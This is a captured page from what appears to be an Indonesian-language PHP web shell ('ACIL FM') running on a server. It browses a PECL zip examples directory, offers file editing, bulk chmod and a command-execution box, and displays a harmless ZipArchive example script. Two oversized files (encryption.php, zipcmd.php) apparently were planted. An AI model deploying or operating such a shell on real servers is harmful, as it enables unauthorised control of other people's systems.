ACIL FM
Dark
Refresh
Current DIR:
/opt/remi/php74/root/usr/share/doc/pecl/zip/examples
/
opt
remi
php74
root
usr
share
doc
pecl
zip
examples
Upload
Zip Selected
Delete Selected
Pilih semua
Nama
Ukuran
Permission
Aksi
addglob.php
298 B
chmod
View
DL
Edit
Rename
Delete
addpattern.php
313 B
chmod
View
DL
Edit
Rename
Delete
comment.php
177 B
chmod
View
DL
Edit
Rename
Delete
create.php
700 B
chmod
View
DL
Edit
Rename
Delete
dir.php
486 B
chmod
View
DL
Edit
Rename
Delete
encryption.php
1.05 MB
chmod
View
DL
Edit
Rename
Delete
extract.php
518 B
chmod
View
DL
Edit
Rename
Delete
extractAll.php
457 B
chmod
View
DL
Edit
Rename
Delete
fopen.php
535 B
chmod
View
DL
Edit
Rename
Delete
get_set_comments.php
914 B
chmod
View
DL
Edit
Rename
Delete
odt.php
452 B
chmod
View
DL
Edit
Rename
Delete
oldapi.php
374 B
chmod
View
DL
Edit
Rename
Delete
set_compression.php
620 B
chmod
View
DL
Edit
Rename
Delete
test.zip
553 B
chmod
View
DL
Edit
ListZip
Unzip
Rename
Delete
test1.zip
681 B
chmod
View
DL
Edit
ListZip
Unzip
Rename
Delete
test_with_comment.zip
560 B
chmod
View
DL
Edit
ListZip
Unzip
Rename
Delete
too.php
18 B
chmod
View
DL
Edit
Rename
Delete
zipcmd.php
3.55 MB
chmod
View
DL
Edit
Rename
Delete
Edit file: /opt/remi/php74/root/usr/share/doc/pecl/zip/examples/set_compression.php
<?php error_reporting(E_ALL); if (!extension_loaded('zip')) { dl('zip.so'); } $zip = new ZipArchive(); $filename = "a.zip"; if (!$zip->open($filename, ZIPARCHIVE::CREATE | ZipArchive::OVERWRITE)) { exit("cannot open <$filename>\n"); } $zip->addFromString("testfilephp.txt", "#1 This is a test string added as testfilephp.txt.\n"); $zip->addFromString("testfilephp2.txt", "#2 This is a test string added as testfilephp2.txt.\n"); $zip->addFile("too.php", "testfromfile.php"); $zip->setCompressionName("testfilephp2.txt", ZipArchive::CM_STORE); $zip->setCompressionIndex(2, ZipArchive::CM_STORE); $zip->close();
Simpan
Batal
Isi Zip:
Unzip
Create
Buat Folder
Buat File
Terminal / Execute
Run
Chmod Bulk
All File
All Folder
All File dan Folder
Apply